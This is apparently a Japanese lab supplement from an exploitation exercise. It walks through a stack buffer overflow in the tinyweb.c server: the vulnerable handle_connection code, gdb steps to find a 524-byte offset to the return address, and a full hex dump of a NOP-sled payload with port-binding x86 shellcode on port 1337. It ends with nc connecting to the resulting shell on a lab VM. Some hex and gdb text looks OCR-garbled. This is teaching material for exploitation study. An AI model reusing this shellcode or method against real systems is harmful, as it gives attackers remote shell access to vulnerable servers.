まずはじめに訂正するところについて

脆弱性がある関数は main 関数内で呼び出している handle_connection 関数でした。 handle_connection 関数で宣言されている request バッファは、char request[500]となっています。しかし、500 バイト以上のデータも受け付けてしまうため、handle_connection 関数のリターンアドレスを書き換えることができます。以下に handle_connection 関数の問題があるコードを示します。

```
void handle_connection(int sockfd, struct sockaddr_in *client_addr_ptr) {$
    unsigned char *ptr, request[500], resource[500];$
    int fd, length;$
+++$
length = recv_line(sockfd, request);$
```

gdb を用いた解析について

- 1. コンパイラで tinyweb.c をコンパイル。オプションで-m32 を指定し、32 ビット ELF ファイルにする。
- 2. コンパイルされ実行形式になった tinyweb(本来は a.out だがここではわかりやすくするために tinyweb と表記する)を起動。
- 3. 起動した tinyweb のプロセス番号をしらべて gdb でアタッチする。
- 4. アタッチした後に、脆弱性のあるコードにブレークポイントを設定する。以下の画像は、脆弱性のある handle_connection 関数内で呼び出されている、recv_line 関数にブレークポイントを設定している。

```
void handle connection(int sockfd, struct sockaddr in *client_addr_ptr) {
          unsigned char *ptr, request[500], resource[500]
(gdb) list
60
          int fd, length;
62
          length = recv line(sockfd, request);
63
54
          printf("%s:%d からリクエストを受け取りました \"%s\"\n", inet ntoa(client
ort), request)
65
56
          ptr = strstr(request, " HTTP/"); // 有効に見えるリクエストを検索する。
67
          if(ptr == NULL) { // これは有効はHTTPリクエストではない。
             printf("
68
59
           else
(qdb) break 62
Breakpoint 1 at 0x8049754: file tinyweb.c, line 62.
(gdb) info breakpoints
                     Disp Enb Address
                                        What
Num
       Type
       breakpoint
                     keep y
                              0x08049754 in handle connection at tinyweb.c:62
(qdb
```

5. ブレークポイントを設定した後、wget などでサーバにリクエストを送信する。

```
$wget 10.0.2.15:80
--2020-11-16 21:06:33-- http://10.0.2.15/
Connecting to 10.0.2.15:80... connected.
HTTP request sent, awaiting response...
```

6. すると、gdb の方でブレークポイントで止まる。

```
Breakpoint 1, handle_connection (sockfd=4, client_addr_ptr=0xfffffd184) at tinyweb.c:62

length = recv_line(sockfd, request);
(gdb)
```

7. gdb で request 変数のアドレスから handle_connection 関数のスタックフレームに格納されている main 関数へのリターンアドレスまでの距離、つまりオフセットを計算する。

```
Breakpoint 1, handle connection (sockfd=4, client addr ptr=0xffffd184) at tinyweb.c:62
           length = recv line(sockfd, request);
62
(gdb) x/x request
               0x00000000
(qdb) x/16xw 0xffffcf60+500
0xffffd154:
               0xffffd184
                                0xffffd180
                                                0x98cc8d00
                                                                0x0804c000
                                                0x08049739
               0xf7fa8000
                                0xffffd1b8
                                                                0x00000004
               0xffffd184
                                0xffffd180
                                                0x080495f0
                                                                0x00000010
0xffffd184:
               0xaca30002
                                0x0f02000a
                                                0x00000000
                                                                0x00000000
(gdb) bt
#0 handle connection (sockfd=4, client addr ptr=0xffffd184) at tinyweb.c:62
#180x08049739 in main () at tinyweb.c:48
(gdb) x/x 0xffffd164+8
               0x08049739
(gdb) p 0xffffd16c - 0xffffcf60
$1 = 524
(gdb)
```

8. オフセットを求めたあと攻撃プログラムを作成する。 以下に攻撃プログラムによって生成されたシェルコードを示す。

```
90 90 90 90
        90 90 90 90 90
                  90 90 90 90 90
  90 90 90
        90
          90 90 90 90
                  90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90
        90
          90 90 90 90
                  90
                    90
                       90 90
                           90
        90 90 90 90 90 90 90 90 90
90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 6a 66 58 6a
01 5b 31 f6 56 53 6a 02 89 e1 cd 80 5f
66 56 66 68 05 39 66 53 89 el 6a
                       10 51
                           57
                             89 el
                         b0
cd 80 b0 66 b3
          04 56 57
                89
                  el cd
                       80
                           66
56 57 89 e1 cd 80 59 59 b1 02 93 b0 3f cd 80 49
79 f9 b0 0b 68 2f 2f 73 68 68 2f 62 69 6e 89 e3
41 89 ca cd 80 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90
        90
          90 90 90 90
                  90 90 90 90 90
90 90 90 90
        90
          90
            90 90
                90
                  90
                     90 90 90
90 90 90 90 90 90 90 90 90 90 90 58 d0 ff ff
0d 0a
```

シェルコードについて

上記の図を見ると 0x90 がほとんどの領域を占めているのがわかると思います。これは NOP 命令です。ポートバインド型のシェルコード本体は、真ん中あたりに格納されています。また、一番最後の方に、リターンアドレスが格納されています。リターンアドレスは、攻撃の成功確率を上げるためにシェルコード全体の上から 200 バイト目あたりに設定しています。

攻撃プログラムが実行されたときの tinyweb

攻撃が成功した後に nc で 1337 ポートに接続

```
$nc 10.0.2.15 1337
: lo: <LOOPBACK,UP,LOWER UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
   link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
   inet 127.0.0.1/8 scope host lo
      valid_lft forever preferred_lft forever
      valid lft forever preferred lft forever
  eth0: <BROADCAST,MULTICAST,UP,LOWER UP> mtu 1500 qdisc pfifo fast state UP group default qlen 1000
   link/ether 08:00:27:1f:a6:34 brd ff:ff:ff:ff:ff
   inet 10.0.2.15/24 brd 10.0.2.255 scope global dynamic noprefixroute eth0
  valid_lft 81769sec preferred_lft 81769sec
   inet6 fe80::1bd8:5b03:42a3:258f/64 scope link noprefixroute
      valid lft forever preferred lft forever
a.out
decode sniff.c
hacking-network.h
hacking.h
hacking.txt
```

補足については以上です。他になにかあったらヨシダさんに連絡してください。 以上、グッドラック